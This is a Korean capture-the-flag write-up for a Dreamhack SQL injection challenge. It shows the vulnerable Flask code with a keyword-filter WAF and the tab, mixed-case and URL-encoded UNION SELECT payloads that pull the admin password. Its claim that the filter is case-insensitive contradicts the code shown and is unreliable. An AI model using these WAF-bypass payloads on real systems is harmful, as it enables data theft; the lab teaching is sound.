

Dreamhack sql injection bypass WAF Writeup

← → 🔄 ⚠ 주의 요함 host1.dreamhack.games:16497

SELECT * FROM user WHERE uid='{uid}';

{result}

서버를 열면 보이는 첫 화면이다.

주어진 소스 코드를 먼저 확인해보자.

```
import os
from flask import Flask, request
from flask_mysql import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template = '''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
  <input type='text' name='uid' placeholder='uid'>
  <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True
```

```

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')
    else:
        return template

if __name__ == '__main__':
    app.run(host='0.0.0.0')

```

여기서 함수 check_WAF()는 특정 SQL Injection 관련 키워드들을 필터링하여 SQL Injection을 막으려 한다. union, select, from, and, or, admin, *, / 등의 키워드를 포함하면 요청을 차단한다.

또 특이한 점은 결과값 한 행을 가져와 2번째 열의 값을 result로 출력한다는 것이다. 이를 이용하여 공격을 수행해야 함을 알 수 있다.

코드를 읽어보면 취약점이 존재함을 알 수 있다. 주어진 코드에서 필터링을 수행하는 check_WAF() 함수는 re.IGNORECASE와 동일한 i 플래그를 사용하는 re.preg_match()로, 대소문자를 구분하지 않고 검색을 한다. 즉 여기서 필터링은 대소문자를 구분하지 않으며, union, select 등의 키워드를 대문자로 쓰면 필터링에 걸리지 않는다는 의미이다.

또 한 가지 필터링 관련해서 살펴볼 점은 띄어쓰기와 주석 /**/ 또한 필터링하고 있다는 것이다. 서치해보니 대신 tab을 사용해야 한다고 한다.

← → ↻ ⚠ 주의 요함 host1.dreamhack.games:16497/?uid=admin

your request has been blocked by WAF.

결과창에 일단 admin을 입력해보니 이렇게 방화벽에 의해 막히는 것을 볼 수 있다.

← → ↻ ⚠ 주의 요함 host1.dreamhack.games:16497

SELECT * FROM user WHERE uid='{uid}';

{result}

Admin' #

그래서 tab을 넣어 이렇게 실행해 보았다.

← → ↻ ⚠ 주의 요함 host1.dreamhack.games:16497/?uid=Admin%27%09%23

SELECT * FROM user WHERE uid='Admin' #';

admin

uid

admin으로 제대로 로그인 가능함을 확인할 수 있다.

그러면 위에서 admin으로 로그인한 코드에 upw 값을 얻어오는 과정을 추가하여 입력하면 될 것이다.

필터링을 우회할 수 있으니 union을 사용해보기로 한다. 먼저 UNION SELECT를 이용한다. 그런데 이때 UNION은 열의 개수와 데이터 타입이 일치해야 정상적으로 작동한다는 특징이 있다. 이를 위해 뒤에 SELECT null, upw, null을 붙인다. 이 구문을 통해 세 개의 열을 반환한다. 첫 번째와 세 번째 열에는 null을 넣어 자리수를 맞추고, Upw를 넣어 두 번째 열에서 upw 열의 값을 반환하려 한다. 뒤에는 FROM User WHERE uid="Admin"#을 붙인다.

즉 'Union Select null,upw,null From User where uid="Admin"# 을 넣어준다.



← → ↻ ⚠ 주의 요함 host1.dreamhack.games:16497/?uid=%27Union+++Select+++null%2Cupw%2Cnull+++

your request has been blocked by WAF.

입력창에 이 값을 입력했지만 다시 막혔다. url 창을 확인해보니 이쪽이 문제임을 알 수 있다. 즉 url 창에는 별도로 구문을 url인코딩한 값을 입력해 주어야 한다.

url 인코딩한 값은

%27Union%09Select%09null,upw,null%09From%09User%09where%09uid="Admin"%23 이다. 이 값은 url 창에 붙여준다.

→   주의 요함 host3.dreamhac

ECT * FROM user WHERE

DH{bc818d522986e71f9b10afd732aef9789a6db76d

이렇게 플래그 값을 구할 수 있다.